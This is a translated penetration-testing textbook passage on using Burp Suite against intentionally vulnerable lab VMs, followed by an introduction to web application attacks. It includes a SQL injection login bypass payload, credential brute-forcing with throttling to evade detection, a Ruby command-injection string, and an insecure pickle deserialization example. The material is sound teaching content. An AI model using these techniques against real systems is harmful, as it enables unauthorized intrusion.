渗透测试学习指南(二)
原文:
annas-archive.org/md5/AB4ED424B79B61BAAE18A448202342B9译者:飞龙
第七章:使用 Burp Suite
Burp Suite 是一款广泛使用的基于 Java 架构的 Web 应用程序渗透测试工具,有免费和付费版本。它可以在 Windows、Linux 和 macOS 等多个平台上使用。Burp Suite 用于识别漏洞和验证 Web 应用程序攻击向量。它拥有丰富的功能,是一个非常受欢迎的综合工具,有很多关于它的书籍。
在本章中,您将了解 Burp Suite 和各种版本。我们将重点介绍版本之间的差异以及如何获取专业版的试用许可证,该许可证用于本章中的演示。您将准备您的环境,以便在您自己的实验室中复制演示。最后,我们将研究 Burp Suite 提供的工具,并了解渗透测试人员如何使用这些工具。通过使用易于跟随的实际示例,您将对这些工具有很好的理解。
在本章中,我们将涵盖以下主题:
-
介绍 Burp Suite
-
准备您的环境
-
Burp Suite 的要点
技术要求
要跟随本章中的示例和说明,请确保您具有以下内容:
-
Kali Linux 2019.1
-
Burp Suite 专业版(撰写本文时为 v1.7.37)
-
开放 Web 应用程序安全项目(OWASP)破损 Web 应用程序(BWA)项目版本 1.2.7
-
Metasploitable 2
了解 Burp Suite
Burp Suite 类似于拦截代理。在对目标 Web 应用程序进行渗透测试时,可以配置 Burp Suite,使所有流量都通过其代理服务器路由。这使 Burp Suite 可以充当中间人攻击,捕获和分析与 Web 应用程序之间的每个 Web 请求。这使渗透测试人员可以利用暂停、操纵和重放请求等功能,以发现目标 Web 应用程序中的潜在注入点。这些注入点可以手动定义,也可以通过自动模糊技术定义。
模糊测试是一种软件技术,通过使用畸形或半畸形的数据包以自动化的方式发现实现错误。
Burp Suite 目前有三个版本可用:
-
社区版:这是默认与 Kali Linux 一起提供的免费版本。
-
专业版:这是一个付费版本,在撰写本文时每年每用户费用为 399 美元。
-
企业版:这个版本是为企业设计的。根据 PortSwigger 的网站(portswigger.net/)在撰写本文时的起价为 3999.00 美元/年。这个版本不在本书的范围内。
在本书中,我们将使用专业版。PortSwigger 提供了 Burp Suite 专业版的免费试用。您只需提供有效的公司名称和公司电子邮件地址即可申请试用许可证。
社区版和专业版之间的区别在于功能。社区版对 Intruder 功能有限制,通过强制限制线程。社区版不包括任何扫描功能或内置有效负载。当然,您可以将自己的有效负载加载到社区版中。需要专业版的插件在社区版中无法使用。社区版只允许您创建临时项目,因此无法将项目保存到磁盘。社区版只包括基本的手动工具,而专业版包含基本和高级的手动工具。
要了解不同版本之间的差异,请访问 portswigger.net/burp,该网站将解释…
准备您的环境
为了测试 Burp Suite 的功能,我们需要准备我们的环境。有许多有意设计易受攻击的 Web 应用程序。这些是专门用于学习目的创建的,它们非常好。随着您在 Burp Suite 中掌握技能,我鼓励您查看各种易受攻击的 Web 应用程序,这些应用程序是专门创建和发布的。一个很好的资源,可以找到在线和离线版本的易受攻击的 Web 应用程序软件,就是 OWASP。
OWASP 维护着一个易受攻击的 Web 应用程序目录项目,可以在www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project#tab=Main找到。
安装 Burp Suite 专业版
在我们开始渗透测试之前,我们需要安装 Burp Suite。默认情况下,Kali Linux 2019.1 附带了 Burp Suite 的社区版。在本书中,我们将使用专业版的免费试用版。
请注意,在撰写本文时,最新的稳定版本是 v1.7.37。如果您使用任何测试版,界面将与本书中打印的屏幕截图不同。
让我们走一遍获取 Burp Suite 专业版试用许可证所需的步骤:
-
根据表格要求填写您的详细信息。请注意,您需要输入公司电子邮件地址,因此来自 Gmail、Outlook 和其他邮箱的个人电子邮件地址将无法使用。
-
您将收到一封带有登录详细信息的电子邮件,您将使用该信息登录下载门户。一旦您登录到您的帐户,您就可以继续下载许可文件。我正在使用普通的
jar文件,因为我可以运行这个独立的应用程序,而无需安装它,如下面的屏幕截图所示:
图 1:Burp Suite 专业版的下载选项
- 下载文件后,您可以在 Kali Linux 终端窗口中使用
java -jar [filename]命令启动 Burp Suite 专业版。在第一次启动期间,它将要求您提供许可密钥并继续激活许可。
如果您想配置分配给 Burp Suite 的内存量,可以使用-Xmx命令开关,例如java -jar -Xmx2048m [filename]。
设置 OWASP BWA
BWA 项目创建了一个包含已知漏洞的多个应用程序的虚拟机。该项目是为那些有兴趣学习以下内容的人创建的:
-
Web 应用程序的安全
-
各种手动测试技术
-
各种自动化测试技术
-
如何使用工具进行源代码分析
-
了解 Web 攻击的影响
-
如何测试 Web 应用程序防火墙和类似工具
OWASP BWA 项目的直接链接是www.owasp.org/index.php/OWASP_Juice_Shop_Project。
下载 BWA 虚拟机后,您需要使用诸如 7-Zip 之类的程序对其进行提取。下图中显示的 BWA 文件是虚拟机文件,可以导入到 VMware Workstation 或 VirtualBox 中:
图 2:提取的 BWA 文件
将文件导入 VMware Workstation 非常简单。您只需要打开或导入.vmx文件。对于 VirtualBox,我们需要执行一些额外的步骤:
-
打开 VirtualBox 并创建一个新的虚拟机。为虚拟机定义一个名称,然后选择 Linux Ubuntu(32 位)作为操作系统类型。
-
继续使用向导,但当涉及硬盘组件时,选择使用现有的虚拟硬盘文件,而不是创建新的硬盘。在这里,您将选择 BWA 虚拟硬盘(
OWASP Broken Web Apps-cl1.vmdk),如下面的屏幕截图所示:
图 3:导入 BWA 虚拟硬盘
-
单击“创建”以创建虚拟机。您可以根据需要调整处理能力和内存,但默认设置应该足够。
-
确保您为这台虚拟机使用主机模式或网络地址转换(NAT)网络配置。不要直接将其暴露在公共互联网上,因为这台虚拟机是有意设计成易受攻击的。
-
虚拟机启动后,它将提供可用于访问它的 IP 地址,如下截图所示:
图 4:BWA 虚拟机信息
一旦您启动了 BWA,您会注意到它会提供有关如何通过 Web 浏览器和 SSH 访问它的信息。
配置您的浏览器
由于 Burp Suite 依赖于代理工具来执行其所有功能,因此您需要配置浏览器以使用代理。在 Kali Linux 2019.1 中,默认包含 Firefox ESR(Extended Support Release)。配置浏览器的代理设置很简单,但每次都必须手动更改代理设置可能会令人沮丧。
Firefox ESR 有一些代理管理插件。我个人喜欢使用 FoxyProxy(addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/),因为它提供了定义多个代理并通过 Firefox 的插件按钮进行切换的功能:
图 5:FoxyProxy 配置了多个代理
添加新代理就像点击“选项”并添加新代理一样简单。在下一节中,我们将介绍如何添加代理。
探索和配置 Burp Suite 组件
Burp Suite 拥有各种工具,可帮助渗透测试人员在整个 Web 应用程序测试过程中使用。这些工具使渗透测试人员能够映射环境,进行漏洞扫描并利用漏洞。
Burp Suite 有一个简单的图形界面,包含两行标签和各种面板(图 6)。第一行标签(1)是当前安装的工具。第二行标签是主要工具的子组件(2),在该子组件中,有各种面板(3):
图 6:Burp Suite 的界面
图 6中的示例显示了“目标”主工具被选中,并且“站点地图”子组件被选中。在该子组件中,有多个面板,如“内容”和“问题”。
Burp Suite 工具
现在让我们使用 Burp Suite 中的各种工具,并在攻击之前的部署的 OWASP BWA 项目中使用它们。
当您启动 Burp Suite Professional 时,在磁盘上创建一个新项目(图 7),这样您就可以随时查看结果。您可以使用 Burp Suite 默认的配置文件:
图 7:Burp Suite 的新项目
现在我们已经启动了我们的项目,我们可以深入了解工具并学习如何使用它们。
代理
这是 Burp Suite 的核心,允许您创建一个拦截代理,可在您的浏览器和目标 Web 应用程序之间进行操作。您可以使用此工具拦截、检查和修改所有请求和响应。
要配置代理选项,您需要访问代理工具并选择“选项”选项卡,如下截图所示:
图 8:代理工具中的代理监听器选项
代理监听器部分是您定义代理详细信息的地方。默认配置对我们将执行的活动足够。值得启用的另一个配置项位于代理选项的响应修改部分。此设置标题为取消隐藏的表单字段,如下截图所示:
图 9:启用取消隐藏的表单字段
隐藏的 HTML 表单是通过客户端进行表面不变的数据传输的常见机制。如果标记为隐藏,则该字段不会显示在屏幕上。但是,字段的名称和值存储在表单中,并在用户提交表单时返回给应用程序。Burp 代理可用于拦截提交表单的应用程序并更改值。
在 Firefox ESR 中配置如下:
- 打开 Firefox ESR 并导航到首选项:
图 10:导航到 Firefox 首选项
更快的导航到首选项的方法是在 Firefox ESR 中导航到about:preferencesURL。
-
一旦您进入首选项,搜索
代理并单击设置按钮。 -
一旦进入代理设置,您可以根据以下截图定义 Burp Suite 代理:
图 11:在 Firefox ESR 中定义 Burp Suite 代理
在上一节中,我们提到这种方法有时会变得令人沮丧,因为有时您需要在不使用 Burp Suite 代理的情况下浏览。
要在 FoxyProxy 等附加组件中配置 Burp Suite 代理,我们只需定义代理设置(图 12),保存配置后,您将能够在代理设置之间切换:
图 12:将 Burp Suite 代理添加到 FoxyProxy
现在我们已经设置和配置了代理,让我们继续下一个工具,我们将在其中定义目标并执行诸如绘制站点地图等活动。
因为 Burp Suite 中的代理作为拦截代理工作,所以当您浏览 URL 时,必须转发请求。如果不转发请求,URL 将无法在浏览器中加载。
目标
该工具提供有关目标应用程序的内容和工作流程的详细信息。它协助您引导测试过程。在此工具中,可以手动绘制目标站点(或使用集成的爬虫),并在绘制应用程序后修改范围。
我们将把目标定义为 BWA 虚拟机的主 IP 地址。例如,根据上一节的截图,我的 BWA 虚拟机的 IP 地址为192.168.34.152。
可以使用以下步骤定义目标:
-
单击
目标工具,然后选择`范围**。** -
在
目标范围部分下单击添加,并输入 BWA 虚拟机的 IP 地址。 -
Burp Suite 将提示您注销范围外的项目。在这种情况下,我们不想记录它们,因此选择
是,以便 Burp Suite 不会将范围外的项目发送到其他工具:
图 13:在 Burp Suite 中定义目标
- 一旦您将目标范围定义为 BWA 虚拟机 IP 地址,打开 Firefox 并导航到 BWA 虚拟机的 URL,例如
http://192.168.34.152。您会注意到,在代理工具中不转发请求(图 14)的情况下,网页将无法加载:
图 14:使用代理工具转发请求
- 一旦您转发了请求,BWA 主页将加载。在目标工具下的站点地图(图 15)中,您现在将拥有目标 Web 应用程序的完整站点地图:
图 15:基于定义的目标填充的站点地图
左侧树视图中包含内容的分层表示,URL 被分成域、目录、文件和参数化请求。要查看更多细节,您可以展开有趣的分支。如果您选择了树的一个或多个部分,右侧视图中子分支中的所有项目将显示相关的详细信息。右侧视图包含从树视图中选择的分支的内容的详细信息以及分支中识别的任何问题。
扫描器
这个工具在 Burp Suite 的专业版中可用。它提供了高级的 Web 漏洞扫描功能,具有自动爬行功能来发现内容。
利用扫描功能就像右键单击要扫描的分支,然后选择主动或被动扫描功能一样简单,如图 16所示:
图 16:启动扫描功能
有两种类型的扫描可以执行,主动和被动。以下详细介绍了两者之间的区别:
-
被动扫描:这种类型的扫描只是分析和检测现有请求和响应内容中的漏洞。使用这种扫描,您将能够限制对 Web 应用程序的噪音量。这种类型的扫描能够检测许多漏洞,因为许多漏洞可以使用被动技术来检测。
-
主动扫描:这种类型的扫描提交了许多定制的请求,并分析结果以寻找漏洞。主动扫描可以识别更广泛的漏洞,对于进行全面的应用程序测试是必不可少的。请记住,这种扫描将导致向应用程序发送更多的噪音。
以下图片显示了扫描器检测到的问题的输出:
图 17:主动扫描检测到的问题
打开问题会提供有关问题的更多信息,包括受影响的主机、路径、严重程度和信心水平,如图 18所示:
图 18:问题详情
扫描的每个结果都包含详细的建议,通常包括与特定漏洞相关的定制信息和适当的修复说明。每个结果还将包括报告问题的完整请求和响应,其中相关部分将被突出显示。这些请求可以像往常一样传输到其他 Burp 工具,以检查问题或进行进一步测试。
Repeater
这用于手动操作和重新发出 HTTP 请求。一旦发送这些手动请求,您就能够分析响应。您可以从 Burp Suite 的任何位置向 Repeater 发送请求。
让我们使用 Repeater 进行登录操作:
-
关闭 Burp Suite 代理 Firefox ESR,导航到 BWA 主页,然后单击 OWASP Mutillidae II。
-
在左侧导航中,选择 OWASP 2007 | OWASP 2007 A6 – 不当的错误处理 | 登录(图 19)。这将带您到登录页面:
图 19:OWASP A6 – 不当的错误处理
- 启用 Burp Suite 代理拦截。一旦启用,尝试使用任意随机凭据登录。在 Burp Suite 的代理工具中,您将看到登录请求被拦截。右键单击请求,然后选择“发送到 Repeater”。在我的示例中,您将看到我使用了一个随机的
username为testing和一个password为test-user,如图 20*所示:
图 20:Burp Suite 代理工具拦截的登录请求
- 点击Repeater工具,在左侧,您将看到拦截的登录请求。点击 Go 并观察结果。注意,Loggin-In-User 字段为空,如下图所示。如果单击 Render 选项卡,您将看到没有用户已登录。这告诉我们,我们使用的随机
username不存在:
图 21:使用 Repeater 重放 HTTP 请求
从这里开始,我们可以修改初始请求中的任何参数。您可以尝试各种username和password并观察结果。为了演示目的,我们将使用常见的 SQL 注入技术(SQL 注入将在第八章中更详细地介绍,攻击 Web 应用程序)。
- 在
username=字段中,删除最初使用的随机用户名,并输入' or 1=1 --SQL 注入命令。点击 Go 并观察输出(图 22)。注意Set-Cookie参数现在设置为username=admin,Logged-In-User 设置为admin。这告诉我们,通过使用' or 1=1 --作为用户名和任何密码,我们能够执行 SQL 注入攻击并以管理员身份登录:
图 22:使用 Repeater 执行 SQL 注入攻击查询
如果您使用 Render 选项卡,您将看到已登录的用户是admin。
Repeater 在操纵请求和测试 Web 应用程序如何处理各种请求方面提供了很多功能。
入侵者
这允许对 Web 应用程序进行强大的自定义攻击自动化。它使您能够配置各种 payload、payload 选项和攻击选项。
让我们使用 Intruder 来查找 Multillidae 中的隐藏网页:
- 导航到 BWA 主页应用程序,选择 OWAP Multillidae II。确保 Burp Proxy 设置为拦截模式。点击页面顶部的 Login/Register 链接。找到拦截的请求,右键单击它,然后选择 Send to Intruder,如图 23所示:
图 23:将拦截的请求发送到 Intruder
- 点击 Intruder 选项卡。Intruder 会自动标记 payload 位置。在我们的情况下,我们对
POST消息感兴趣。点击 Clear§,这将清除所有自动放置的位置。双击login.php上的POST请求,然后点击Add§,如图 24*所示。我们将使用 Sniper 攻击类型:
图 24:定义 payload 位置
Sniper 攻击类型允许您指定一个 payload 与您选择的每个输入字段一起尝试。如果您想要用可能的选项列表对单个输入字段进行暴力破解,那么它确实很有用。
Battering ram 攻击尝试同时跨所有选择的输入字段使用一个 wordlist。当您认为凭据可能具有相同的用户名和密码时,这非常有用。
Pitchfork攻击使用额外的 wordlist。这将使其使用一个 wordlist 用于用户名,第二个 wordlist 用于密码。Pitchfork 将用户名 wordlist 的第一个单词与密码 wordlist 的第一个单词进行匹配,因此它不提供广泛的覆盖范围。
Cluster bomb 攻击是最全面的攻击,也是最耗时的。此攻击尝试使用用户名 wordlist 的每个组合与密码 wordlist 的每个组合。
- 点击 Payloads,Payload 类型我们将使用的是 Simple list。在 Payload Options 中,我们将定义一些众所周知的隐藏页面,如
admin.php,secret.php,_admin.php和_private.php。一旦 payload 选项被定义(图 25),攻击可以使用 Start attack 按钮开始:
图 25:定义 payload 选项
攻击开始后,将出现一个新窗口,显示如图 26所示的结果:
图 26:入侵者攻击结果
从结果中,我们可以得出所有结果返回了相同的状态代码。这些都是可访问的,我们可以通过查看“响应”选项卡和“渲染”选项来确认这一点。
入侵者可以使用定义的单词或单词列表来暴力破解登录过程。执行简单的集群炸弹攻击可以按以下步骤完成:
- 使用随机的“用户名”和“密码”登录 Multillidae。当请求被拦截时,将其发送给入侵者,如图 27所示:
图 27:将登录请求发送给入侵者
- 在入侵者工具中,将攻击类型定义为集群炸弹,并将有效载荷位置定义为您使用的“用户名”和“密码”。在以下示例中,我使用了“测试”作为“用户名”和
test作为“密码”,如图 28所示:
图 28:在集群炸弹攻击中定义有效载荷位置。
-
单击“有效载荷”选项卡,并使用简单列表为每个有效载荷集定义“用户名”和“密码”。
-
单击“有效载荷选项”选项卡,并注意请求引擎下的选项。在这里,您可以控制攻击,例如调整重试之间的暂停和节流。这使您能够将暴力破解尝试与正常流量混合在一起,最终避免提高过多无效登录尝试的风险。审核设置后,切换回“有效载荷”选项卡并开始攻击。
-
攻击完成后,您将看到有效凭据返回了 HTTP 302 请求。我们可以通过“渲染”选项卡确认这一点,其中显示了
admin登录用户,如下图所示:
图 29:使用入侵者找到的有效凭据
入侵者具有丰富的功能,可用于您的渗透测试。
顺序器
这使得可以分析目标应用程序重要数据项的随机性质。这些项可以是会话令牌、密码重置令牌等。这种类型的数据是不可预测的,可以发现导致漏洞被发现的缺陷。
一种常见的攻击称为会话固定攻击。这是一种允许攻击者检索有效用户会话的攻击。攻击查看易受攻击的 Web 应用程序管理会话 ID 的方式的限制。Web 应用程序要么不分配新的会话 ID,要么会话 ID 的随机性较弱。这使得攻击者可以使用现有用户的会话 ID。
顺序器的工作方式是基于令牌是随机生成的假设。当顺序器执行测试时,将计算可能发生的某些特征的概率。定义了一个显著性水平,如果这些特征的概率低于此水平,则将标记这些令牌为非随机。
让我们使用默认安装在 Metasploitable 2 中的Damn Vulnerable Web Application(DVWA)进行测试:
- 确保您已将目标范围修改为 Metasploitable 2 虚拟机的 IP 地址。修改范围并将代理设置为拦截流量后,使用标准 HTTP 协议导航到虚拟机的 IP 地址。单击 DVWA 链接。注意您拦截到的两个请求。第一个是 HTTP GET 请求,如图 30所示:
图 30:DVWA GET 请求
第二个请求是设置唯一 Cookie 和Personal Home Page(PHP)会话 ID,如下所示:
图 31:DVWA 设置的 PHP 会话 ID 和 Cookie
- 我们将在我们系统上设置的 cookie 上使用 Sequencer 进行测试。右键单击第一个 GET 请求,并选择“发送到 Sequencer”选项。Sequencer 选项卡将亮起,您应该选择它。在响应中的令牌位置部分,选择 PHPSESSID=值,如下截图所示:
图 32:定义令牌位置
- 点击“开始实时捕获”按钮,让其运行几秒钟。一旦捕获到超过 200 个请求,您可以暂停或停止捕获,并选择“立即分析”。观察结果:
图 33:来自 Sequencer 的结果
在这个例子中,我们可以看到整体结果是优秀的。根据我们捕获的请求数量,Web 应用程序生成的会话令牌是强大的。
解码器
这可用于执行应用程序数据的各种类型的编码或解码。可以将数据的各个部分转换为代码,例如 Base64、十六进制和二进制。
使用解码器非常简单。您可以将文本编码或解码为各种输出。例如,在图 34中,一个简单的明文字符串可以编码为 Base64。
图 34:使用解码器将明文编码为 Base64
在渗透测试中,您可能会发现 Web 应用程序披露了可以解码为可读文本的信息。或者,您可能需要利用一个需要编码为 HTML 或 URL 并将该代码转发回 Web 应用程序以获取响应的漏洞。
比较器
当您需要查看两个数据项之间的视觉差异时,这非常方便;例如,当您查看有效和无效用户凭据之间的响应或检查会话令牌是否是随机的时。
当我们使用 Sequencer 工具时,我们讨论了会话固定攻击。让我们使用比较器工具在 Mutillidae 上执行测试,看看能发现什么。在这里,我们将不使用Sequencer工具,因为我们将执行一个简单的测试:
-
确保您已将目标定义为 OWASP BWA 虚拟机,并将代理设置为拦截。配置目标后,使用 HTTP 协议导航到 BWA 应用程序的主页。
-
选择 Mutillidae II 链接,并转发拦截的请求。接下来,点击“登录/注册”链接,并确保请求已转发。然后,使用
admin的username和admin的password登录。登录后,转到代理工具的HTTP 历史选项卡。找到两个请求,即 GET 和 POST 请求。 -
选择在我们点击“登录/注册”链接时捕获的 GET 请求。右键单击该请求,并选择“发送到比较器”,如下截图所示:
图 35:将相关请求发送到比较器
-
重复步骤 3以进行 POST 请求,显示成功登录。
-
点击“比较器”选项卡,并确保您选择要比较的两个不同请求,如图 36所示:
图 36:选择要比较的请求
- 点击“单词”按钮,并观察结果,如下图所示:
图 37:比较请求的结果
注意到 PHPSESSID 对于两个请求是相同的。这意味着 Web 应用程序不生成唯一的会话 ID,因为对于经过身份验证和未经身份验证的请求,ID 是相同的。因此,Web 应用程序容易受到会话固定攻击的影响。
扩展器
在这里,您可以通过使用 BApp Store 的扩展或使用第三方代码来扩展 Burp Suite 的功能。这些扩展使您能够自定义程序的功能,例如用户界面(UI)更改和添加自定义扫描检查。
使用 Extender 工具,我们可以使用 BApp Store 添加额外的扩展。例如,添加软件漏洞扫描器,如下图所示,扩展了内置漏洞扫描器的功能:
图 38:使用 BApp Store 添加扩展
一些扩展被详细说明为专业扩展,这意味着它们只能与 Burp Suite 专业版一起使用。在扩展选项卡下,您可以加载未在商店中列出的扩展。
摘要
在本章中,您已经了解了 Burp Suite 及其各种版本。您已经通过设置环境并学习如何通过利用互联网上免费提供的易受攻击的 Web 应用程序来准备您的实验室。您已经对 Burp Suite 中存在的各种工具有了很好的了解,并学会了如何通过在自己的实验室环境中使用实际示例来使用它们。
在下一章,第八章,攻击 Web 应用程序,我们将研究 Web 应用程序中存在的各种漏洞,并了解它们存在的原因和方式。我们将使用包括 Burp Suite 在内的各种工具对易受攻击的 Web 应用程序进行各种攻击。
问题
-
Burp Suite 的中心是什么?
-
何时适合使用被动扫描?
-
Repeater 用于什么?
-
Intruder 工具中最全面的攻击方法是什么?
-
如何扩展 Burp Suite 的功能?
第八章:攻击 Web 应用程序
Web 应用程序是最受攻击的妥协方法。今天,我们有提供电子商务服务的 Web 应用程序,这是攻击者的目标,因为他们可以获取信用卡和个人可识别信息等详细信息。拥有互联网存在的企业必定拥有一个可以被公众访问的 Web 应用程序。Web 渗透测试需要技能和时间,了解 Web 应用程序的组件、攻击类型和可以使用的工具将帮助您在短时间内专注于可利用的漏洞。
在本章中,您将学习有关 Web 应用程序及其组件的知识。您将了解不同类型的 Web 应用程序安全测试以及渗透测试的相关知识。您还将了解 HTTP 协议的基础知识,以及在渗透测试过程中各个方面的相关内容。最后,您将学习一些常见的 Web 应用程序攻击以及如何利用 Kali Linux 中的一些工具通过直觉执行各种攻击。
随着本章的进行,您将学习以下主题:
-
准备您的环境
-
Web 应用程序安全测试的类型
-
Web 应用程序的组件
-
了解 HTTP 协议
-
常见的 Web 应用程序攻击
-
攻击 Web 应用程序
技术要求
为了跟随本章中的示例和说明,请确保您具备以下技术要求:
-
Kali Linux 2019.1
-
Metasploitable 2
准备您的环境
在本章中,我们将使用各种 Web 应用程序和工具。
在上一章中,您学习了如何使用 Burp Suite;在本章中,我们也将利用 Burp Suite 的一些部分。
请注意您的 Metasploitable 2 虚拟机的 IP 地址。在本章的各个部分,我们将积极使用这个 IP 地址。回顾一下,可以通过登录虚拟机(默认用户名和密码为msfadmin)并输入ifconfig命令来获取 IP 地址。
Web 应用程序安全测试的类型
有三种类型的 Web 应用程序测试,定义如下:
-
动态测试:这种测试不需要 Web 应用程序的源代码。其目的是查找可能被攻击者从不受信任的位置(如互联网)利用的漏洞。
-
静态测试:这种测试使用 Web 应用程序的源代码。它通过从 Web 应用程序内部寻找漏洞来工作,而不是试图从不受信任的位置攻击 Web 应用程序。
-
渗透测试:这是本章将重点关注的测试类型。它涉及使用人为因素来模拟攻击者可能如何利用 Web 应用程序。它利用技能、直觉和各种工具。
Web 应用程序的组件
Web 应用程序已经从静态网页发展为提供多种功能的复杂应用程序。您可以将 Web 应用程序视为一个简单地在互联网上运行的普通计算机应用程序。
在本节中,我们将讨论 Web 应用程序的各个组件。
Web 应用程序架构
Web 应用程序架构是各种组件之间的交互。Web 应用程序架构的三种主要类型如下:
-
单页应用程序(SPA):这些现在很常见,极简主义是 Web 应用程序的潮流。它们通过动态更新内容到当前页面来工作。异步 JavaScript 和 XML(AJAX)用于提供动态内容。这些类型的应用程序仍然容易受到攻击。
-
微服务:这些是轻量级的,专注于单一功能。微服务利用各种编程语言,因此在这种架构中存在漏洞。
-
无服务器:这利用处理服务器和基础架构管理的云提供商。这使应用程序可以在不必担心基础架构的情况下工作。这里存在诸如破损的身份验证、不充分的日志记录、不安全的应用程序存储等漏洞。
在这三种模型中,存在安全风险。因此,无论使用哪种模型,都需要进行渗透测试。
Web 应用程序语言
由于 Web 应用程序如此多样和动态,有几种语言用于编写 Web 应用程序。这些语言有时会以可能严重影响整个 Web 应用程序安全性的方式进行交互。
这些常用的语言是 Python、Ruby 和 Java。让我们看看这些语言的一些注意事项。
Python
Python 是一种经常使用的语言,因为它简单而强大。它创建了一个生态系统,可以在许多不仅与 Web 应用程序相关的不同应用程序中运行。
Python 使用一种称为pickles的序列化机制。序列化是创建可以存储并稍后恢复到其原始形式的数据的过程。使用pickles允许将对象转换为字节流,然后再转换回来。使用 pickles 可以用于各种事情,如 cookie 值和auth令牌。
示例 pickle 如下所示:
def verifyAuth(self, headers):
try:
token = cPickle.loads(base64.b64decode(headers['AuthToken']))
if not check_hmac(token['signature'], token['data'], getSecretKey()):
raise AuthenticationFailed
self.secure_data = token['data']
except:
raise AuthenticationFailed
此函数正在接受一个 base64 编码的AuthToken,对其进行解码并检查其值。当然,如果被攻击者拦截,AuthToken可以被解码。或者,攻击者可以编写一个利用程序来创建修改后的AuthToken。
这只是 Web 应用程序开发人员可能忽视的安全漏洞的一个方面。
Ruby
Ruby 是一种流行的语言,用于 Web 应用程序,因为 Ruby on Rails。 Ruby on Rails 是一个框架,包括开发人员创建利用数据库的 Web 应用程序所需的一切。该框架可免费使用,社区积极为其做出贡献,这使其成为一种受欢迎的选择。
Ruby 也容易受到攻击,例如使用字符串插值的漏洞。字符串插值允许您替换 Ruby 代码的结果。
例如,以下代码将输出Hello User!,因为#{}中定义的任何内容都将被评估:
name = "User"
puts "Hello, #{name}!"
修改字段为#{%x['ls']}将欺骗服务器列出其目录结构。
由于 Ruby 用于快速部署 Web 应用程序,可能会出现我们刚讨论过的漏洞。在 Ruby 中存在许多其他可以利用的漏洞,这些漏洞是由于 Ruby 内部的糟糕编码而产生的。
Java
Java 是一种存在已久的编程语言。它被广泛使用,不仅用于 Web 应用程序。也就是说,它以存在安全漏洞而闻名。这些漏洞影响编程语言的各个方面,以及利用它的应用程序。要了解 Java 中存在的漏洞数量以及它如何跨多个应用程序或操作系统,只需在 Rapid 7 的漏洞和利用数据库中搜索Java。如下截图所示,结果令人震惊:
图 1:存在的 Java 漏洞列表
您可以通过访问www.rapid7.com/db/?q=Java&type=nexpose来获取最新的搜索结果。
今天存在许多其他 Web 应用程序语言,没有一种是没有漏洞的。在进行渗透测试时,识别基础编程语言将帮助您专注于可能存在的漏洞。
理解 HTTP 协议
超文本传输协议(HTTP)是一种客户端-服务器协议。Web 浏览器被归类为客户端,它向服务器发出请求,服务器将对请求进行响应。默认情况下,HTTP 使用端口80,但如果需要,可以配置此端口。
HTTP 是无状态的,这意味着服务器不会存储与向其发出请求的各个用户相关的任何信息。例如,您可以向 Web 应用程序发送多个请求,它们将被单独处理。HTTP 也是明文协议,因此通过 HTTP 发送的任何敏感信息都可以使用诸如 Wireshark 之类的工具进行嗅探:
图 2: 通过 HTTP 传输的明文凭据
SSL 用于保护数据,使用的协议是超文本传输安全协议(HTTPS)。默认情况下,HTTPS 在端口443上运行,如果需要,也可以重新配置。
让我们来看一些 HTTP 请求和响应。
HTTP 请求和响应
当客户端向服务器发送请求时,这称为 HTTP 请求。在此 HTTP 请求中,我们有标头和正文。标头包含请求、cookie 和编码信息等信息。正文包含将要交换的实际数据。
在以下屏幕截图中,我们有一个 HTTP 请求头的示例:
图 3: HTTP 请求头
第一行以GET请求方法开始,然后是所请求的/download.html资源,以及 HTTP 版本,即HTTP/1.1。
在 HTTP 请求头中还可以找到一些其他请求方法。这些如下:
POST | 用于向服务器发送数据。 |
|---|---|
DELETE | 用于删除文件。 |
PUT | 用于上传文件。 |
HEAD | 用于仅GET HTTP 标头。 |
此标头中有一些字段。让我们看看相关字段:
-
主机: Web 服务器可能托管多个站点。此字段用于定义我们要访问的主机。
-
用户代理: 此字段定义用于访问主机的客户端。
-
Cookie: 这是为了跟踪会话信息而交换的。
-
引用者: 此字段将显示您是否已从另一个 URL 重定向。攻击者将操纵引用字段以将用户重定向到恶意网站。可以使用 XSS 进行此操纵。
当服务器响应时,它将以 HTTP 响应方式响应,其结构与 HTTP 请求类似。在以下屏幕截图中,我们有一个 HTTP 响应的示例:
图 4: HTTP 响应示例
在第一行,我们有一个状态码为200。可能出现的各种代码定义如下:
| 状态码 | 定义 | 示例 |
|---|---|---|
1xx | 信息 | 100: 服务器同意处理客户端请求 |
2xx | 成功 | 200: 请求成功 |
3xx | 重定向 | 301: 页面已移动 |
4xx | 客户端错误 | 403: 禁止页面 |
5xx | 服务器错误 | 500: 内部服务器错误 |
有关状态代码的完整列表,请访问以下网址:www.w3.org/Protocols/rfc2616/rfc2616-sec10.html。
在响应中,我们有一些有趣的字段:
-
服务器: 此字段定义 Web 服务器的服务器版本。立即,我们可以看到一些可以在渗透测试中使用的侦察信息。
-
Set-cookie: 在前面的屏幕截图中未设置此项。此字段将填充一个 cookie 值,服务器将使用该值来识别客户端。
常见的 Web 应用程序攻击
网络应用程序的攻击和向量正在迅速发展。随着使用互联网的人数增加,企业必须适应并利用复杂的网络应用程序为客户甚至员工提供服务。将这些应用程序放在互联网上显然会使它们面临风险。大多数企业都认真对待安全问题,并且通过使用各种软件开发生命周期,有一些真正安全的网络应用程序存在。
然而,随着安全措施变得更加严格,攻击也变得更加强大。除了攻击变得更加复杂之外,还存在人为错误的因素。只需要一小段编写不良的代码就可以利用网络应用程序。
在本节中,我们将考虑一些今天存在的常见网络应用程序攻击。
包含攻击(LFI/RFI)
文件包含漏洞存在于编写不良的网络应用程序中。这种类型的漏洞允许攻击者向服务器上的文件提交数据,甚至上传文件。
本地文件包含(LFI)漏洞涉及网络应用程序和底层操作系统上的本地文件。如果利用了这种漏洞,攻击者将能够读取和执行文件或代码。
远程文件包含(RFI)漏洞涉及执行远程到网络应用程序的代码。在这种攻击中,攻击者可以在远程位置的服务器上托管易受攻击的代码。然后攻击者可以利用网络应用程序访问远程服务器并执行代码。
跨站请求伪造(CSRF)
要理解 CSRF,让我们退一步来谈谈网络应用程序如何处理会话。在使用 HTTP 时,跟踪用户身份验证是通过 cookie 来完成的。Cookie 通常应该是安全的,具有强大的加密强度和熵,并且应该通过安全通道传输,如 HTTPS。
当浏览器提交该 cookie 到一个网站而不检查请求的来源时,这就留下了一个漏洞,CSRF 就利用了这个漏洞。CSRF 涉及攻击者使用恶意代码向目标网站发出请求,看起来好像是从原始发送者发出的。合法的 cookie 被使用,并且伪造的请求将被发送到目标网络应用程序。网络应用程序将找到并接受这个伪造的请求,因为它有一个有效的 cookie,并且请求中定义的操作将被处理。
